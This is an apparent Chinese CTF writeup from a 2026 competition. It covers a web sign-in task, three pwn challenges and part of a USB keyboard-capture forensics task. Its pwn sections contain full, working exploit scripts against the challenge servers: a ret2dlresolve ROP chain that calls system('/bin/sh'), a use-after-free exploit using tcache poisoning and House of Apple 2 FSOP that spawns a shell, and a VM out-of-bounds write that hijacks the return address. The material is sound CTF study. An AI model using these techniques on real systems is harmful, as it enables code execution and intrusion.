文章总结： 本文为第一届创宇杯CTF比赛Writeup，包含三道题解。签到题通过分析game.js直接获取flag；pwn1blindrop利用32位程序栈溢出，通过伪造链接表实现ROP利用获取flag；PWN2–miao利用UAF漏洞，结合tcachepoisoning与FSOP技术获取shell。文章详细展示了漏洞分析思路与利用脚本，对CTF学习者具有较高参考价值。
综合评分： 85
文章分类： CTF,实战经验,漏洞分析,二进制安全

第一届创宇杯wp

原创

三社院信息Sec
三社院信息Sec

三社院信息Sec

2026年9月20日 18:31
河南

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

01

签到题 (霓虹迷宫)

发现game.js

直接出铭文flag

flag{1dbc1e04-5de9-4dac-a8ae-5343dc2f04a5}

02

pwn1 blindrop

附件得到

file blindrop查看什么类型的文件

blindrop: ELF&nbsp;32-bit LSB executable, Intel&nbsp;80386, version&nbsp;1&nbsp;(SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=db111926e62c6169ec34af47ee5cb2c906b4de36, for GNU/Linux&nbsp;3.2.0, with debug_info, not stripped

这里的回显可以看出是个32位的程序，依赖libc,而且显示 not stripped 不去符号，函数名字都还在

查看一下开的保护

&nbsp;python3 - <<'EOF'from&nbsp;pwn&nbsp;import&nbsp;*e = ELF('./blindrop')print(e.checksec())EOF

发现程序每次运行都可以运行，代码都是固定的地址，而且栈溢出不会被拦截

尝试答应出来符号表

&nbsp;python3 - <<'EOF'from&nbsp;pwn&nbsp;import&nbsp;*e = ELF('./blindrop')for&nbsp;k, v&nbsp;in&nbsp;sorted(e.symbols.items()):&nbsp; &nbsp;&nbsp;print(hex(v), k)EOF

其中有

感觉vuln可以尝试一下

我们就利用一下vuln尝试找找漏洞，用capstone反汇编一下vuln

python3 - <<'EOF'from&nbsp;pwn&nbsp;import&nbsp;*from&nbsp;capstone&nbsp;import&nbsp;*e = ELF('./blindrop')md = Cs(CS_ARCH_X86, CS_MODE_32)for&nbsp;ins&nbsp;in&nbsp;md.disasm(e.read(0x8049223,&nbsp;0xa0),&nbsp;0x8049223):&nbsp; &nbsp;&nbsp;print('0x%x: %-8s %s'&nbsp;% (ins.address, ins.mnemonic, ins.op_str))EOF

0x8049227: sub &nbsp; &nbsp; &nbsp;esp, 0x94 &nbsp; &nbsp;栈上开了0x940x8049257: push &nbsp; &nbsp; 0x400 &nbsp; &nbsp;&nbsp;0x804925c: lea &nbsp; &nbsp; &nbsp;eax, [c] &nbsp;参数是buf 在栈上ebp-0x8c0x8049265: call &nbsp; &nbsp; 0x8049050 &nbsp;这里可能存在漏洞

从之前的输出的分析出栈布局从buf (ebp-0x8c)开始应该就是返回地址的偏移 =0x94=144字节就是说payload前144的字节没用，145才是我们想要的地址，绕过方式：程序会比较ebp+8和edp-0xc是否相等两个相同就通过

利用read 把一套伪造的链接表写进内存，然后跳转到plt 的开头(plt0),动态链接就会以为是真。就会得出system（”/bin/sh”）

准备地址

python3 - <<'EOF'from&nbsp;pwn&nbsp;import&nbsp;*e = ELF('./blindrop')print('read@plt &nbsp;',&nbsp;hex(e.plt['read']))print('plt0 &nbsp; &nbsp; &nbsp;',&nbsp;hex(e.get_section_by_name('.plt').header.sh_addr))print('JMPREL &nbsp; &nbsp;',&nbsp;hex(e.dynamic_value_by_tag('DT_JMPREL')))print('SYMTAB &nbsp; &nbsp;',&nbsp;hex(e.dynamic_value_by_tag('DT_SYMTAB')))print('STRTAB &nbsp; &nbsp;',&nbsp;hex(e.dynamic_value_by_tag('DT_STRTAB')))EOF

最后用脚本

import&nbsp;socket, struct, time
HOST, PORT =&nbsp;"challenge.xiaoyuyc.com",&nbsp;35723def&nbsp;p32(x): return struct.pack("<I", x &&nbsp;0xffffffff)
read_plt&nbsp;=&nbsp;0x08049050plt0&nbsp; &nbsp; &nbsp;=&nbsp;0x08049030JMPREL&nbsp; &nbsp;=&nbsp;0x080483b0SYMTAB&nbsp; &nbsp;=&nbsp;0x080481ecSTRTAB&nbsp; &nbsp;=&nbsp;0x080482bcpop3ret&nbsp; =&nbsp;0x0804901f &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# add esp,8&nbsp;; pop ebx ; ret
B&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;0x0804b300fake_reloc&nbsp;= Bfake_sym&nbsp; &nbsp;= B +&nbsp;0x2csys_str&nbsp; &nbsp; = B +&nbsp;0x60binsh_str&nbsp; = B +&nbsp;0x80write_tgt&nbsp; = B +&nbsp;0x100
sym_index&nbsp; &nbsp; = (fake_sym - SYMTAB) //&nbsp;16reloc_offset&nbsp;= fake_reloc - JMPREL
# 伪造 Elf32_Rel + Elf32_Sym + "system" + "/bin/sh"rel&nbsp;= p32(write_tgt) + p32((sym_index <<&nbsp;8) |&nbsp;7)sym&nbsp;= p32(sys_str - STRTAB) + p32(0) + p32(0) + bytes([0x12,&nbsp;0]) + struct.pack("<H",&nbsp;0)blob&nbsp;= bytearray(b"\x00"&nbsp;*&nbsp;0x100)blob[0x00:0x08] = relblob[0x2c:0x3c] = symblob[0x60:0x67] = b"system\x00"blob[0x80:0x88] = b"/bin/sh\x00"blob&nbsp;= bytes(blob)
V&nbsp;= pop3retpayload&nbsp; = b"A"&nbsp;*&nbsp;0x80 &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;payload&nbsp;+= p32(V) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;payload&nbsp;+= p32(0) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;payload&nbsp;+= p32(0) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;payload&nbsp;+= p32(0) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;payload&nbsp;+= p32(read_plt) &nbsp; &nbsp; &nbsp;&nbsp;payload&nbsp;+= p32(V) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;payload&nbsp;+= p32(0) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;payload&nbsp;+= p32(B) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;payload&nbsp;+= p32(len(blob)) &nbsp; &nbsp; &nbsp;&nbsp;payload&nbsp;+= p32(plt0) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;payload&nbsp;+= p32(reloc_offset) &nbsp; &nbsp;payload&nbsp;+= p32(0) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;payload&nbsp;+= p32(binsh_str)
s&nbsp;= socket.create_connection((HOST, PORT), timeout=10)s.settimeout(3)
def&nbsp;recv_until(marker, timeout=8):&nbsp; &nbsp;&nbsp;s.settimeout(timeout)&nbsp; &nbsp;&nbsp;data&nbsp;= b""&nbsp; &nbsp;&nbsp;while&nbsp;marker not in data:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;chunk&nbsp;= s.recv(4096)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;socket.timeout:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not chunk:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;data&nbsp;+= chunk&nbsp; &nbsp;&nbsp;return&nbsp;data
recv_until(b"payload> ") &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;s.sendall(payload) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;recv_until(b"canary check passed.")&nbsp;time.sleep(0.3)s.sendall(blob) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;time.sleep(0.5)s.sendall(b"cat flag\n")
time.sleep(2)s.settimeout(4)out&nbsp;= b""try:&nbsp; &nbsp;&nbsp;while&nbsp;True:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;c&nbsp;= s.recv(4096)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not c:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;out&nbsp;+= cexcept&nbsp;socket.timeout:&nbsp; &nbsp;&nbsp;passprint(out.decode(errors="replace"))

flag：flag{78497480-426b-4979-84da-c71d20675763}

03

PWN2–miao

先查看文件类型和保护措施

可以看到有Full RELRO 和glibc 2.35 → __free_hook / __malloc_hook，不能直接打got 和hook

就要试试fsop

开始逆向分析

objdump&nbsp;-d -M intel miao

数据结构

notes数组在.bss（PIE +0x4060`），共 16 项，每项 16 字节：

struct&nbsp;note&nbsp;{&nbsp; &nbsp;&nbsp;char&nbsp; *ptr; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;size_t&nbsp;size; &nbsp;};struct&nbsp;note&nbsp;notes[16];

unsigned&nbsp;long&nbsp;long&nbsp;read_num()&nbsp;{&nbsp; &nbsp;&nbsp;char&nbsp;buf[0x20];&nbsp; &nbsp;&nbsp;memset(buf,&nbsp;0,&nbsp;0x20);&nbsp; &nbsp;&nbsp;read(0, buf,&nbsp;0x1f); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;return&nbsp;strtoull(buf,&nbsp;0,&nbsp;0); &nbsp;}

索引都是 read_num 的返回值，后面用 <= 0xf 检查，无法越界。

add_note 新建笔记

void&nbsp;add_note()&nbsp;{&nbsp; &nbsp;&nbsp;int&nbsp;i =&nbsp;-1;&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;j =&nbsp;0; j <=&nbsp;15; j++) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(notes[j].ptr ==&nbsp;NULL) { i = j;&nbsp;break; }&nbsp; &nbsp;&nbsp;if&nbsp;(i ==&nbsp;-1) {&nbsp;puts("No free slot!");&nbsp;return; }
&nbsp; &nbsp;&nbsp;printf("Size: ");&nbsp; &nbsp;&nbsp;size_t&nbsp;size =&nbsp;read_num();&nbsp; &nbsp;&nbsp;if&nbsp;(size ==&nbsp;0&nbsp;|| size >&nbsp;0x500) {&nbsp;puts("Invalid size!");&nbsp;return; }
&nbsp; &nbsp;&nbsp;char&nbsp;*p =&nbsp;malloc(size);&nbsp; &nbsp;&nbsp;if&nbsp;(!p) {&nbsp;puts("Allocation failed!");&nbsp;return; }
&nbsp; &nbsp; notes[i].ptr &nbsp;= p;&nbsp; &nbsp; notes[i].size = size;&nbsp; &nbsp;&nbsp;memset(p,&nbsp;0, size); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;printf("Content: ");&nbsp; &nbsp;&nbsp;read(0, p, size); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;printf("Note %d created.\n", i);}

要点：size 最大 0x500，申请后会 memset 清 0，再 read 读入内容

delete_note —— 删除笔记

void&nbsp;delete_note()&nbsp;{&nbsp; &nbsp;&nbsp;printf("Index: ");&nbsp; &nbsp;&nbsp;size_t&nbsp;i =&nbsp;read_num();&nbsp; &nbsp;&nbsp;if&nbsp;(i >&nbsp;0xf) {&nbsp;puts("Invalid index!");&nbsp;return; }&nbsp; &nbsp;&nbsp;if&nbsp;(notes[i].ptr) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;free(notes[i].ptr);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;puts("Note deleted.");&nbsp; &nbsp; }}

free 之后 notes[i].ptr 仍然指向那块内存，于是可以

用 show 读已经 free 的 chunk（信息泄露）

用 edit 写已经 free 的 chunk（改 tcache 链表 → tcache poisoning)

重复 free（double free）

edit_note

void&nbsp;edit_note()&nbsp;{&nbsp; &nbsp;&nbsp;printf("Index: ");&nbsp; &nbsp;&nbsp;size_t&nbsp;i =&nbsp;read_num();&nbsp; &nbsp;&nbsp;if&nbsp;(i >&nbsp;0xf) {&nbsp;puts("Invalid index!");&nbsp;return; }&nbsp; &nbsp;&nbsp;if&nbsp;(notes[i].ptr) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("Content: ");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ssize_t&nbsp;n =&nbsp;read(0, notes[i].ptr, notes[i].size);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(n >&nbsp;0)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; notes[i].ptr[notes[i].size] =&nbsp;0; &nbsp;&nbsp;&nbsp; &nbsp; }}

配合 UAF，edit 可以改写已 free chunk 的 fd 指针（tcache poisoning）。末尾的 off-by-one 本题没用到，仅作了解

main

int&nbsp;main()&nbsp;{&nbsp; &nbsp;&nbsp;init(); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;puts("Here is a cute cat.");&nbsp;&nbsp; &nbsp;&nbsp;while&nbsp;(1) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;menu();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;size_t&nbsp;ch =&nbsp;read_num();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;switch&nbsp;(ch) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;1:&nbsp;add_note();&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;2:&nbsp;delete_note();&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;3:&nbsp;show_note();&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;4:&nbsp;edit_note();&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;5:&nbsp;puts("Bye!");&nbsp;return&nbsp;0; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;default:&nbsp;puts("Invalid!");&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}

case 5 里 return 0，随后 main 返回、程序调用 exit()，进而触发 IOcleanup。这正是我们 FSOP 的触发点

漏洞是 deletenote free 后不清空指针造成 UAF，用它泄露 heap/libc，再在堆上伪造IOFILE 结构、通过 tcache poisoning 改写IOlistall，退出时触发 FSOP（House of Apple 2）最终调用 system(” sh”) 拿 shell

利用脚本

#!/usr/bin/env python3# -*- coding: utf-8 -*-from&nbsp;pwn import *
context.arch = 'amd64'context.log_level = 'info'
# libc 偏移（glibc 2.35-0ubuntu3.8，已用 nm 验证）SYSTEM&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;0x50d70IO_LIST_ALL&nbsp; &nbsp; &nbsp;=&nbsp;0x21b680WFILE_JUMPS&nbsp; &nbsp; &nbsp;=&nbsp;0x2170c0MAIN_ARENA_UNSORTED&nbsp;=&nbsp;0x21ace0
def&nbsp;add(idx, size, data):&nbsp; &nbsp;&nbsp;io.sendlineafter(b">> ", b"1")&nbsp; &nbsp;&nbsp;io.sendlineafter(b"Size: ", str(size).encode())&nbsp; &nbsp;&nbsp;io.sendafter(b"Content: ", data)&nbsp; &nbsp;&nbsp;io.recvuntil(b"created.\n")
def&nbsp;delete(idx):&nbsp; &nbsp;&nbsp;io.sendlineafter(b">> ", b"2")&nbsp; &nbsp;&nbsp;io.sendlineafter(b"Index: ", str(idx).encode())
def&nbsp;show(idx):&nbsp; &nbsp;&nbsp;io.sendlineafter(b">> ", b"3")&nbsp; &nbsp;&nbsp;io.sendlineafter(b"Index: ", str(idx).encode())&nbsp; &nbsp;&nbsp;io.recvuntil(b"Content: ")&nbsp; &nbsp;&nbsp;return&nbsp;io.recvuntil(b"\n", drop=True)
def&nbsp;edit(idx, data):&nbsp; &nbsp;&nbsp;io.sendlineafter(b">> ", b"4")&nbsp; &nbsp;&nbsp;io.sendlineafter(b"Index: ", str(idx).encode())&nbsp; &nbsp;&nbsp;io.sendafter(b"Content: ", data)
def&nbsp;build_fake(libc, F):&nbsp; &nbsp;&nbsp;fake&nbsp;= bytearray(0x4f0)&nbsp; &nbsp;&nbsp;# _IO_FILE @ F+0x000&nbsp; &nbsp;&nbsp;fake[0x00:0x08] = b" &nbsp;sh\x00\x00"&nbsp; &nbsp;&nbsp;fake[0x68:0x70] = p64(0)&nbsp; &nbsp;&nbsp;fake[0x82] &nbsp; &nbsp; &nbsp;=&nbsp;0&nbsp; &nbsp;&nbsp;fake[0xa0:0xa8] = p64(F +&nbsp;0x100)&nbsp; &nbsp;&nbsp;fake[0xc0:0xc4] = p32(1)&nbsp; &nbsp;&nbsp;fake[0xd8:0xe0] = p64(libc + WFILE_JUMPS)&nbsp; &nbsp;&nbsp;# _IO_wide_data @ F+0x100&nbsp; &nbsp;&nbsp;fake[0x100+0x18:0x100+0x20] = p64(0)&nbsp; &nbsp;&nbsp;fake[0x100+0x20:0x100+0x28] = p64(1)&nbsp; &nbsp;&nbsp;fake[0x100+0x30:0x100+0x38] = p64(0)&nbsp; &nbsp;&nbsp;fake[0x100+0xe0:0x100+0xe8] = p64(F +&nbsp;0x200)&nbsp; &nbsp;&nbsp;# 伪造 _wide_vtable @ F+0x200&nbsp; &nbsp;&nbsp;fake[0x200+0x68:0x200+0x70] = p64(libc + SYSTEM)&nbsp; &nbsp;&nbsp;return&nbsp;bytes(fake)
def&nbsp;exploit(io):&nbsp; &nbsp;&nbsp;# 1) 泄露 heap&nbsp; &nbsp;&nbsp;add(0,&nbsp;0x20, b"A"*0x20)&nbsp; &nbsp;&nbsp;add(1,&nbsp;0x20, b"B"*0x20)&nbsp; &nbsp;&nbsp;delete(0)&nbsp; &nbsp;&nbsp;heap&nbsp;= u64(show(0)[:8]) <<&nbsp;12&nbsp; &nbsp;&nbsp;log.success("heap = %#x", heap)
&nbsp; &nbsp;&nbsp;# 2) 泄露 libc&nbsp; &nbsp;&nbsp;add(2,&nbsp;0x4f0, b"C"*0x4f0)&nbsp; &nbsp;&nbsp;add(3,&nbsp;0x4f0, b"D"*0x4f0)&nbsp; &nbsp;&nbsp;delete(2)&nbsp; &nbsp;&nbsp;libc&nbsp;= u64(show(2)[:8]) - MAIN_ARENA_UNSORTED&nbsp; &nbsp;&nbsp;log.success("libc = %#x", libc)
&nbsp; &nbsp;&nbsp;# 3) 伪造 FILE 结构 @ F = heap+0x300&nbsp; &nbsp;&nbsp;F&nbsp;= heap +&nbsp;0x300&nbsp; &nbsp;&nbsp;add(4,&nbsp;0x4f0, build_fake(libc, F))
&nbsp; &nbsp;&nbsp;# 4) tcache poisoning 改 _IO_list_all&nbsp; &nbsp;&nbsp;add(5,&nbsp;0x10, b"Z"*0x10)&nbsp; &nbsp;&nbsp;add(6,&nbsp;0x10, b"Y"*0x10)&nbsp; &nbsp;&nbsp;Z2&nbsp;= heap +&nbsp;0xd20&nbsp; &nbsp;&nbsp;delete(5)&nbsp; &nbsp;&nbsp;delete(6)&nbsp; &nbsp;&nbsp;edit(6, p64((libc + IO_LIST_ALL) ^ (Z2 >>&nbsp;12)) + p64(0))&nbsp; &nbsp;&nbsp;add(7,&nbsp;0x10, b"J"*0x10)&nbsp; &nbsp;&nbsp;add(8,&nbsp;0x10, p64(F) + p64(0))
&nbsp; &nbsp;&nbsp;# 5) 触发 FSOP&nbsp; &nbsp;&nbsp;io.sendline(b"5")
def&nbsp;main():&nbsp; &nbsp;&nbsp;global&nbsp;io&nbsp; &nbsp;&nbsp;mode&nbsp;= sys.argv[1] if len(sys.argv) >&nbsp;1&nbsp;else&nbsp;"local"&nbsp; &nbsp;&nbsp;if&nbsp;mode ==&nbsp;"remote":&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;io&nbsp;= remote("challenge.xiaoyuyc.com",&nbsp;23302)&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;io&nbsp;= process(["./ld-linux-x86-64.so.2",&nbsp;"--library-path",&nbsp;".",&nbsp;"./miao"])
&nbsp; &nbsp;&nbsp;exploit(io)&nbsp; &nbsp;&nbsp;io.sendline(b"echo __SHELL_OK__; ls -la; cat flag; cat /flag")&nbsp; &nbsp;&nbsp;print(io.recvall(timeout=8).decode(errors="replace"))
if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp;&nbsp;main()

得出flag

flag{96ab2e76-3166-4b3c-9602-01a1beda0352}

04

pwn3-vmpwn

查看基础信息

代码地址固定，NX关闭栈可执行，还没有stripped，说明函数字齐全

查看逻辑

mian函数

程序接收你输入的虚拟机指令交给 runvm 执行，利用虚拟机栈溢出覆盖 runvm 返回地址跳 win 函数直接读取输出 /flag

虚拟机结构

run_vm(rdi=code, rsi=len) 的栈帧（sub rsp, 0x110）

vm+0xd0（vm[26]）作为操作数栈计数 sp，初始为 0

rbp-0x10 作为指令指针 ip，初始为 0

操作数栈

vm_push(vm, val)

if&nbsp;(vm->sp >&nbsp;15) { puts("stack overflow."); exit(0); }vm[sp +&nbsp;10] = val; &nbsp;&nbsp;vm->sp = sp +&nbsp;1;

vm_pop(vm)

if&nbsp;(vm->sp&nbsp;<=&nbsp;0) { puts("stack underflow.");&nbsp;exit(0); }vm->sp&nbsp;=&nbsp;sp&nbsp;-&nbsp;1;return&nbsp;vm[sp&nbsp;+&nbsp;10];

漏洞点

run_vm 处理 opcode 2 的关键代码（Intel 语法

401630: &nbsp;movsx &nbsp;eax, BYTE PTR [rbp-0x14] &nbsp;&nbsp;401634: &nbsp;cdqe401636: &nbsp;mov &nbsp; &nbsp;rdx, QWORD PTR [rbp-0x20] &nbsp;40163a: &nbsp;mov &nbsp; &nbsp;QWORD PTR [rbp+rax*8-0x100], rdx

即 vm[reg] = val，而 reg 是一个有符号字节，取值范围 -128..127，完全没有检查

由于 vm 基址在 rbp-0x100，vm[33] 正好等于 rbp+8，也就是 run_vm 的返回地址

vm[33] = rbp -&nbsp;0x100 +&nbsp;33*8&nbsp;= rbp +&nbsp;8&nbsp; &nbsp;-> saved return address

攻击思路

opcode 1 压入 win 的地址 0x4012c7

opcode ，reg = 33 (0x21)，把它弹出并写进 run_vm 的返回地址

opcode 5停机，run_vm 执行 leave; ret时直接跳进 win

脚本

import&nbsp;struct, socket, sys
WIN =&nbsp;0x4012C7
def&nbsp;build():&nbsp; &nbsp; p &nbsp;=&nbsp;b'\x01'&nbsp;+ struct.pack('<Q', WIN) &nbsp;# PUSH win&nbsp; &nbsp; p +=&nbsp;b'\x02\x21'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# MOV vm[33] = POP&nbsp; &nbsp; p +=&nbsp;b'\x05'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# HALT&nbsp; &nbsp;&nbsp;return&nbsp;p
def&nbsp;main():&nbsp; &nbsp; payload = build()&nbsp; &nbsp; data =&nbsp;str(len(payload)).encode() +&nbsp;b'\n'&nbsp;+ payload
&nbsp; &nbsp;&nbsp;# 本地调试：python3 exploit.py local&nbsp; &nbsp;&nbsp;if&nbsp;len(sys.argv) >&nbsp;1&nbsp;and&nbsp;sys.argv[1] ==&nbsp;'local':&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;import&nbsp;subprocess&nbsp; &nbsp; &nbsp; &nbsp; out = subprocess.run(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ['./ld-linux-x86-64.so.2',&nbsp;'--library-path',&nbsp;'.',&nbsp;'./vmpwn'],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;input=data, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)&nbsp; &nbsp; &nbsp; &nbsp; sys.stdout.buffer.write(out.stdout)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return
&nbsp; &nbsp; host = sys.argv[1]&nbsp;if&nbsp;len(sys.argv) >&nbsp;1&nbsp;else&nbsp;'challenge.xiaoyuyc.com'&nbsp; &nbsp; port =&nbsp;int(sys.argv[2])&nbsp;if&nbsp;len(sys.argv) >&nbsp;2&nbsp;else&nbsp;32790&nbsp; &nbsp; s = socket.create_connection((host, port), timeout=15)&nbsp; &nbsp; s.sendall(data)&nbsp; &nbsp; s.settimeout(5)&nbsp; &nbsp; buf =&nbsp;b''&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;True:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c = s.recv(4096)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;c:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buf += c&nbsp; &nbsp;&nbsp;except&nbsp;Exception:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass&nbsp; &nbsp; sys.stdout.buffer.write(buf)
if&nbsp;__name__ ==&nbsp;'__main__':&nbsp; &nbsp; main()

得出flag

flag{1b3b7315-b730-4d16-a153-c6fd474df929}

05

misc截获

说明这是 Linux 下 usbmon 抓的 USB 流量

EPB 布局

偏移 &nbsp;长度 &nbsp;含义0&nbsp; &nbsp; &nbsp;4&nbsp; &nbsp; &nbsp;block type =&nbsp;64&nbsp; &nbsp; &nbsp;4&nbsp; &nbsp; &nbsp;block total&nbsp;length8&nbsp; &nbsp; &nbsp;4&nbsp; &nbsp; &nbsp;interface id12&nbsp; &nbsp;&nbsp;4&nbsp; &nbsp; &nbsp;timestamp high16&nbsp; &nbsp;&nbsp;4&nbsp; &nbsp; &nbsp;timestamp low20&nbsp; &nbsp;&nbsp;4&nbsp; &nbsp; &nbsp;captured&nbsp;length&nbsp; &nbsp;24&nbsp; &nbsp;&nbsp;4&nbsp; &nbsp; &nbsp;original&nbsp;length28&nbsp; &nbsp; N &nbsp; &nbsp;&nbsp;... &nbsp; &nbsp; &nbsp; &nbsp; options + trailing block&nbsp;length

usbmon mmapped 包头

偏移 &nbsp;长度 &nbsp;含义0 &nbsp; &nbsp; 8 &nbsp; &nbsp;&nbsp;id&nbsp;(urb&nbsp;id)8 &nbsp; &nbsp; 1 &nbsp; &nbsp;&nbsp;type&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;9 &nbsp; &nbsp; 1 &nbsp; &nbsp; xfer_type &nbsp;&nbsp;10 &nbsp; &nbsp;1 &nbsp; &nbsp; epnum &nbsp; &nbsp; &nbsp;&nbsp;11 &nbsp; &nbsp;1 &nbsp; &nbsp; devnum &nbsp; &nbsp; &nbsp;12 &nbsp; &nbsp;2 &nbsp; &nbsp; busnum &nbsp; &nbsp; &nbsp;14 &nbsp; &nbsp;1 &nbsp; &nbsp; flag_setup15 &nbsp; &nbsp;1 &nbsp; &nbsp; flag_data16 &nbsp; &nbsp;8 &nbsp; &nbsp; ts_sec24 &nbsp; &nbsp;4 &nbsp; &nbsp; ts_usec28 &nbsp; &nbsp;4 &nbsp; &nbsp; status32 &nbsp; &nbsp;4 &nbsp; &nbsp; length &nbsp; &nbsp;&nbsp;36 &nbsp; &nbsp;4 &nbsp; &nbsp; len_cap &nbsp; &nbsp;&nbsp;40 &nbsp; &nbsp;8 &nbsp; &nbsp; setup 包64 &nbsp; &nbsp;len_cap &nbsp;数据负载 (即 HID report)

抓到的包有两种长度:caplen=72(=64+8,完成包带 8 字节 HID 数据)、caplen=64(提交包,无数据)

定位键盘数据

type&nbsp;C xfer&nbsp;1&nbsp;ep&nbsp;0x81&nbsp;dev&nbsp;4&nbsp;bus&nbsp;2&nbsp;len&nbsp;8&nbsp;cap&nbsp;8&nbsp;data&nbsp;0000390000000000type&nbsp;S xfer&nbsp;1&nbsp;ep&nbsp;0x81&nbsp;dev&nbsp;4&nbsp;bus&nbsp;2&nbsp;len&nbsp;8&nbsp;cap&nbsp;0&nbsp;datatype&nbsp;S xfer&nbsp;2&nbsp;ep&nbsp;0x0&nbsp; dev&nbsp;4&nbsp;bus&nbsp;2&nbsp;len&nbsp;1&nbsp;cap&nbsp;1&nbsp;data&nbsp;03...

xfer=1 → 中断传输(键盘特征)

ep=0x81 → 中断 IN 端点,方向为设备→主机

en=8` → 标准 HID 键盘报告长度

因此过滤条件为:type==’C’ && xfer==1 && ep==0x81 && len_cap==8,共提取到 362 条 HID 报告

HID 键盘协议

标准 8 字节键盘报告结构(Boot Protocol)

byte0&nbsp;: 修饰键位图 (0x02=左Shift,&nbsp;0x20=右Shift,&nbsp;0x01=左Ctrl...)byte1&nbsp;: 保留byte2-7&nbsp;: 当前按下的普通按键 Usage 码,最多&nbsp;6&nbsp;个

一个键持续按住时,后面每帧都会重复出现,只有从 “上一帧未出现” → “本帧出现” 才算一次新按下,修饰键：Shift 影响字母大小写和数字/符号上档(如 1 → !,[ → {) CapsLock(0x39):是切换状态,而不是持续按住

第一次解码

